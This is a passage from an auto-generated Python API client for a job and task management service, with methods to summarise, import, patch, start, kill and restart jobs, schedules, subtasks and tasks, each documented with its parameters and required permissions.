noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_tasks_summary(self, **kwargs): # noqa: E501 """get_tasks_summary # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_tasks_summary(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str job_instance: Filter the returned list by `job_instance`. :param str job_instance__in: Multiple values may be separated by commas. :param str subtask: Filter the returned list by `subtask`. :param str state: Filter the returned list by `state`. :param float state__in: Multiple values may be separated by commas. :param str id: Filter the returned list by `id`. :param str id__in: Multiple values may be separated by commas. :param str name: Filter the returned list by `name`. :param str task_name: Filter the returned list by `task_name`. :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: TasksSummary If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_tasks_summary_with_http_info(**kwargs) # noqa: E501 def get_tasks_summary_with_http_info(self, **kwargs): # noqa: E501 """get_tasks_summary # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_tasks_summary_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str job_instance: Filter the returned list by `job_instance`. :param str job_instance__in: Multiple values may be separated by commas. :param str subtask: Filter the returned list by `subtask`. :param str state: Filter the returned list by `state`. :param float state__in: Multiple values may be separated by commas. :param str id: Filter the returned list by `id`. :param str id__in: Multiple values may be separated by commas. :param str name: Filter the returned list by `name`. :param str task_name: Filter the returned list by `task_name`. :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(TasksSummary, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['job_instance', 'job_instance__in', 'subtask', 'state', 'state__in', 'id', 'id__in', 'name', 'task_name', 'ordering', 'limit', 'offset'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_tasks_summary" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] if 'job_instance' in local_var_params and local_var_params['job_instance'] is not None: # noqa: E501 query_params.append(('job_instance', local_var_params['job_instance'])) # noqa: E501 if 'job_instance__in' in local_var_params and local_var_params['job_instance__in'] is not None: # noqa: E501 query_params.append(('job_instance__in', local_var_params['job_instance__in'])) # noqa: E501 if 'subtask' in local_var_params and local_var_params['subtask'] is not None: # noqa: E501 query_params.append(('subtask', local_var_params['subtask'])) # noqa: E501 if 'state' in local_var_params and local_var_params['state'] is not None: # noqa: E501 query_params.append(('state', local_var_params['state'])) # noqa: E501 if 'state__in' in local_var_params and local_var_params['state__in'] is not None: # noqa: E501 query_params.append(('state__in', local_var_params['state__in'])) # noqa: E501 if 'id' in local_var_params and local_var_params['id'] is not None: # noqa: E501 query_params.append(('id', local_var_params['id'])) # noqa: E501 if 'id__in' in local_var_params and local_var_params['id__in'] is not None: # noqa: E501 query_params.append(('id__in', local_var_params['id__in'])) # noqa: E501 if 'name' in local_var_params and local_var_params['name'] is not None: # noqa: E501 query_params.append(('name', local_var_params['name'])) # noqa: E501 if 'task_name' in local_var_params and local_var_params['task_name'] is not None: # noqa: E501 query_params.append(('task_name', local_var_params['task_name'])) # noqa: E501 if 'ordering' in local_var_params and local_var_params['ordering'] is not None: # noqa: E501 query_params.append(('ordering', local_var_params['ordering'])) # noqa: E501 if 'limit' in local_var_params and local_var_params['limit'] is not None: # noqa: E501 query_params.append(('limit', local_var_params['limit'])) # noqa: E501 if 'offset' in local_var_params and local_var_params['offset'] is not None: # noqa: E501 query_params.append(('offset', local_var_params['offset'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/tasks/summary', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='TasksSummary', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def import_job(self, import_job_request, **kwargs): # noqa: E501 """import_job # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.import_job(import_job_request, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param ImportJobRequest import_job_request: (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: ImportJobResponse If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.import_job_with_http_info(import_job_request, **kwargs) # noqa: E501 def import_job_with_http_info(self, import_job_request, **kwargs): # noqa: E501 """import_job # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.import_job_with_http_info(import_job_request, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param ImportJobRequest import_job_request: (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(ImportJobResponse, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['import_job_request'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method import_job" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'import_job_request' is set if self.api_client.client_side_validation and ('import_job_request' not in local_var_params or # noqa: E501 local_var_params['import_job_request'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `import_job_request` when calling `import_job`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'import_job_request' in local_var_params: body_params = local_var_params['import_job_request'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/jobs/import', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ImportJobResponse', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def kill_all_pending_tasks(self, **kwargs): # noqa: E501 """kill_all_pending_tasks # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.kill_all_pending_tasks(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.kill_all_pending_tasks_with_http_info(**kwargs) # noqa: E501 def kill_all_pending_tasks_with_http_info(self, **kwargs): # noqa: E501 """kill_all_pending_tasks # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.kill_all_pending_tasks_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method kill_all_pending_tasks" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/tasks/pending', 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def kill_task(self, id, **kwargs): # noqa: E501 """kill_task # noqa: E501 ### Required permissions * User account permission: `tasks:manage` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.kill_task(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str id: A unique value identifying this task info. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.kill_task_with_http_info(id, **kwargs) # noqa: E501 def kill_task_with_http_info(self, id, **kwargs): # noqa: E501 """kill_task # noqa: E501 ### Required permissions * User account permission: `tasks:manage` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.kill_task_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str id: A unique value identifying this task info. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method kill_task" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `kill_task`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/tasks/{id}/kill', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def patch_job(self, id, job_partial_update, **kwargs): # noqa: E501 """patch_job # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.patch_job(id, job_partial_update, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this job. (required) :param JobPartialUpdate job_partial_update: (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: Job If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.patch_job_with_http_info(id, job_partial_update, **kwargs) # noqa: E501 def patch_job_with_http_info(self, id, job_partial_update, **kwargs): # noqa: E501 """patch_job # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.patch_job_with_http_info(id, job_partial_update, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this job. (required) :param JobPartialUpdate job_partial_update: (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(Job, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id', 'job_partial_update'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method patch_job" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `patch_job`") # noqa: E501 # verify the required parameter 'job_partial_update' is set if self.api_client.client_side_validation and ('job_partial_update' not in local_var_params or # noqa: E501 local_var_params['job_partial_update'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `job_partial_update` when calling `patch_job`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'job_partial_update' in local_var_params: body_params = local_var_params['job_partial_update'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/jobs/{id}', 'PATCH', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Job', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def patch_schedule(self, id, schedule_partial_update, **kwargs): # noqa: E501 """patch_schedule # noqa: E501 ### Required permissions * User account permission: `tasks:view` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.patch_schedule(id, schedule_partial_update, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this schedule. (required) :param SchedulePartialUpdate schedule_partial_update: (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: Schedule If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.patch_schedule_with_http_info(id, schedule_partial_update, **kwargs) # noqa: E501 def patch_schedule_with_http_info(self, id, schedule_partial_update, **kwargs): # noqa: E501 """patch_schedule # noqa: E501 ### Required permissions * User account permission: `tasks:view` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.patch_schedule_with_http_info(id, schedule_partial_update, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this schedule. (required) :param SchedulePartialUpdate schedule_partial_update: (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(Schedule, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id', 'schedule_partial_update'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method patch_schedule" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `patch_schedule`") # noqa: E501 # verify the required parameter 'schedule_partial_update' is set if self.api_client.client_side_validation and ('schedule_partial_update' not in local_var_params or # noqa: E501 local_var_params['schedule_partial_update'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `schedule_partial_update` when calling `patch_schedule`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'schedule_partial_update' in local_var_params: body_params = local_var_params['schedule_partial_update'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/schedules/{id}', 'PATCH', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Schedule', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def patch_subtask(self, id, subtask_partial_update, **kwargs): # noqa: E501 """patch_subtask # noqa: E501 ### Required permissions * User account permission: `tasks:view` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.patch_subtask(id, subtask_partial_update, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this subtask. (required) :param SubtaskPartialUpdate subtask_partial_update: (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: Subtask If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.patch_subtask_with_http_info(id, subtask_partial_update, **kwargs) # noqa: E501 def patch_subtask_with_http_info(self, id, subtask_partial_update, **kwargs): # noqa: E501 """patch_subtask # noqa: E501 ### Required permissions * User account permission: `tasks:view` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.patch_subtask_with_http_info(id, subtask_partial_update, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this subtask. (required) :param SubtaskPartialUpdate subtask_partial_update: (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(Subtask, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id', 'subtask_partial_update'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method patch_subtask" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `patch_subtask`") # noqa: E501 # verify the required parameter 'subtask_partial_update' is set if self.api_client.client_side_validation and ('subtask_partial_update' not in local_var_params or # noqa: E501 local_var_params['subtask_partial_update'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `subtask_partial_update` when calling `patch_subtask`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'subtask_partial_update' in local_var_params: body_params = local_var_params['subtask_partial_update'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/subtasks/{id}', 'PATCH', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Subtask', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def restart_task(self, id, **kwargs): # noqa: E501 """restart_task # noqa: E501 ### Required permissions * User account permission: `tasks:manage` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.restart_task(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str id: A unique value identifying this task info. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: TaskInfo If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.restart_task_with_http_info(id, **kwargs) # noqa: E501 def restart_task_with_http_info(self, id, **kwargs): # noqa: E501 """restart_task # noqa: E501 ### Required permissions * User account permission: `tasks:manage` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.restart_task_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str id: A unique value identifying this task info. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(TaskInfo, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method restart_task" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `restart_task`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/tasks/{id}/restart', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='TaskInfo', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def start_job(self, id, start_job_request, **kwargs): # noqa: E501 """start_job # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.start_job(id, start_job_request, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this job. (required) :param StartJobRequest start_job_request: (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[TaskInfo] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.start_job_with_http_info(id, start_job_request, **kwargs) # noqa: E501 def start_job_with_http_info(self, id, start_job_request, **kwargs): # noqa: E501 """start_job # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.start_job_with_http_info(id, start_job_request, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this job. (required) :param StartJobRequest start_job_request: (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[TaskInfo], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id', 'start_job_request'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method start_job" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `start_job`") # noqa: E501 # verify the required parameter 'start_job_request' is set if self.api_client.client_side_validation and ('start_job_request' not in local_var_params or # noqa: E501 local_var_params['start_job_request'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `start_job_request` when calling `start_job`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'start_job_request' in local_var_params: body_params = local_var_params['start_job_request'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/jobs/{id}/start', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[TaskInfo]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def start_task(self, start_task_request, **kwargs): # noqa: E501 """start_task # noqa: E501 ### Required permissions * User account permission: `tasks:manage` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.start_task(start_task_request, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param StartTaskRequest start_task_request: (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: TaskInfo If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.start_task_with_http_info(start_task_request, **kwargs) # noqa: E501 def start_task_with_http_info(self, start_task_request, **kwargs): # noqa: E501 """start_task # noqa: E501 ### Required permissions * User account permission: `tasks:manage` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous 